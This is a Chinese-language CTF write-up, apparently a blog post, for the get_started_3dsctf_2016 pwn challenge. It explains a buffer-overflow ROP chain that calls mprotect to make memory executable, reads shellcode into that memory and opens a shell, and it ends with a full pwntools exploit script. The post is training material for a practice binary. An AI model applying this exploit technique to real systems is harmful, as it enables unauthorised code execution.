Share this post on:

get_started_3dsctf_2016

来源

这道题有两种做法,一种是直接覆盖返回地址到flag函数然后再跳转到exit(0)正常退出拿到flag,这里不写,只讲通过修改栈权限的方法

checksec一下:

image-20220330154842511

随机化和canary都没开,比较温柔

打开ida随便看看,发现关键函数:

image-20220330155519452

查询一下这个函数的作用

int mprotect(void *addr, size_t len, int prot);
//addr 内存启始地址
//len  修改内存的长度
//prot 内存的权限  # 0x7 == 可读可写可执行

既然有这个函数,那就可以通过修改栈权限为rwx来写入shellcode并执行拿到shell

ctrl+s调出ida程序的段表,修改选中的段为rwx

image-20220330160214669

肯定有人疑问了为什么是0x80EB000而不是bss段的开头0x80EBF80,因为指定的内存区间必须包含整个内存页(4K),起始地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍。
改bss段的话效果如图,可以看到没有成功修改内存权限,因为起始地址不对,所以这边起始地址是0x80EB000

成功的修改:

image-20220330160703473

失败的修改(即修改bss段)

image-20220330160837991

修改权限部分的exp

mprotect函数需要三个参数,我们需要找一个连续pop3个的寄存器,ROPgadget寻找一下
思考一下为什么需要寄存器呢?
使用寄存器的目的并不是用来传参,而是来调整esp的位置使其能够指向正确的返回地址

ROPgadget --binary pwn --only 'pop|ret' | grep 'pop'

选中的这个指令就很不错

image-20220330161418680

mprotect_addr = elf.symbols['mprotect']
memory_addr = 0x080EB000
# memory_addr = 0x80EBF80 #测试修改bss段
memory_size = 0x1000
memory_prot = 0x7 #0x7的意思是可读可写可执行
pop_ebx_esi_ebp = 0x0804f460 #寻找到的寄存器

#思考一下32位程序的传参顺序
payload1 = b'A'*0x38
payload1 += p32(mprotect_addr)
payload1 += p32(pop_ebx_esi_ebp)
payload1 += p32(memory_addr)
payload1 += p32(memory_size)
payload1 += p32(memory_prot)

成功修改栈上的权限后下一步读入shellcode,读入的话就用read函数吧

再看看read函数原型

ssize_t read(int fd, void *buf, size_t count);
//fd 设为0时就可以从输入端读取内容    
//buf 设为我们想要执行的内存地址      
//size 适当大小就可以
//函数说明:read()会把参数fd 所指的文件传送count 个字节到buf 指针所指的内存中. 若参数count 为0, 则read()不会有作用并返回0. 返回值为实际读取到的字节数, 如果返回0, 表示已到达文件尾或是无可读取的数据,此外文件读写位置会随读取到的字节移动.
//当有错误发生时则返回-1, 错误代码存入errno 中, 而文件读写位置则无法预期

同样需要三个寄存器传参,那么还是借用刚刚那个寄存器

shellcode可以直接用pwntools的语句自动生成

payload2 = asm(shellcraft.sh())

读入部分的exp

read_addr = elf.symbols['read']
pop_ebx_esi_ebp = 0x0804f460

payload1 += p32(read_addr) #注意这里接mprotect函数,将其返回地址设为read函数调用
payload1 += p32(pop_ebx_esi_ebp)
payload1 += p32(0) #从输入端读取内容
payload1 += p32(memory_addr) #设为我们想要执行的内存地址(你想写到哪儿?)
payload1 += p32(0xfff) #读入的大小
payload1 += p32(memory_addr) #将read函数的返回地址设置到我们修改的内存的地址,之后我们要往里面写入shellcode

到这里我们已经完成了修改内存为可读可写可执行,将程序重定向到了我们修改好后的内存地址,接下来我们只要传入shellcode即可

payload2 = asm(shellcraft.sh())
r.sendline(payload2)

完整exp

from pwn import *

context(os='linux', arch='i386', log_level='debug')
elf = ELF('./pwn')

# r = remote('node4.buuoj.cn', 29135)
r = process('./pwn')
gdb.attach(r)

mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
memory_addr = 0x080EB000
# memory_addr = 0x80EBF80 #测试修改bss段
memory_size = 0x1000
memory_prot = 0x7
pop_ebx_esi_ebp = 0x0804f460
main_addr = 0x08048A20

payload1 = b'A'*0x38
payload1 += p32(mprotect_addr)
payload1 += p32(pop_ebx_esi_ebp)
payload1 += p32(memory_addr)
payload1 += p32(memory_size)
payload1 += p32(memory_prot)
payload1 += p32(read_addr)
payload1 += p32(pop_ebx_esi_ebp)
payload1 += p32(0)
payload1 += p32(memory_addr)
payload1 += p32(0xfff)
payload1 += p32(memory_addr)

r.sendline(payload1)

payload2 = asm(shellcraft.sh())

r.sendline(payload2)
r.interactive()
Share this post on:

Leave a Comment

您的电子邮箱地址不会被公开。 必填项已用 * 标注